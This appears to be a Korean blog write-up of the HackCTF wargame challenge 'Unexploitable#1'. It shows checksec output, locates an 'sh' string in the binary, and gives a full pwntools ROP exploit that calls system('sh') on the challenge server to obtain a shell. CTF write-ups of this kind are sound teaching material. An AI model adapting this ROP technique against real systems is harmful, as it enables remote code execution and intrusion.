Unexploitable#1

2022. 5. 1. 17:19·Wargame/HackCTF
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

ASLR 보호기법도 안걸려 있는 문제다. 이 문제의 핵심은 '쉘을 따기 위한 system('/bin/sh') 에서 /bin/sh 이 아닌 다른 방법을 이용할 수 있는가' 이다. 

 

system('sh')을 실행해도 shell을 딸 수 있으므로 sh문자열이 있는 부분을 찾으면 아래와 같다.

gdb-peda$ find 'sh'
Searching for 'sh' in: None ranges
Found 101 results, display max 101 items:
Unexploitable_1 : 0x4003bf --> 0x6e69647473006873 ('sh')
Unexploitable_1 : 0x6003bf --> 0x6e69647473006873 ('sh')

0x4003bf에 'sh'문자열이 있는 것을 확인. 바로 공격 진행하면 된다.

 

Exploit Code

from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3023)
context.log_level = 'debug'

e = ELF('./Unexploitable_1')
pr = 0x00000000004007d3

sh = 0x4003bf
system_plt = e.plt['system']


# ROP
pay = 'A' * 0x18
pay += p64(pr)
pay += p64(sh)
pay += p64(system_plt)

p.sendline(pay)

p.interactive()
저작자표시 비영리 변경금지 (새창열림)
'Wargame/HackCTF' 카테고리의 다른 글
  • Beginner_heap
  • Unexploitable#2
  • World_best_encryption_tool
  • You_are_silver
Cronus
Cronus
Offensive Security Researcher
  • Cronus
    Cronus
    Striving to be the best.
    • 분류 전체보기 (251)
      • AboutMe (1)
      • Portfolio (1)
        • Things (1)
      • Bug Report (1)
      • 🚩 CTF (23)
        • Former Doc (9)
        • 2023 (9)
      • 💻 Security (5)
      • 🖌️ Theory (22)
        • WEB (9)
        • PWN (13)
      • 📄 Project (6)
        • Edu_Siri (6)
      • Dreamhack (156)
        • WEB (95)
        • PWN (41)
        • Crypto (14)
        • ETC (6)
      • Wargame (22)
        • HackCTF (22)
      • Bug Bounty (1)
        • Hacking Zone (1)
      • Tips (7)
      • Development (2)
        • Machine Learning & Deep Lea.. (1)
      • Offensive Tools (1)
  • 블로그 메뉴

    • 홈
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    Crypto
    Remote Code Execution
    justCTF
    bug report
    Machine Learning
    TFCCTF2022
    ubuntu 명령어
    bug hunter
    Text Summarization
    cache
    Ubuntu 기초
    RCE
    GPNCTF
    Ubuntu 기초 셋팅
    Deep learning
    sqli
    cache poisoning
    python
    TsukuCTF2022
    pwntools
  • 최근 댓글

  • 최근 글

Cronus
Unexploitable#1
상단으로

티스토리툴바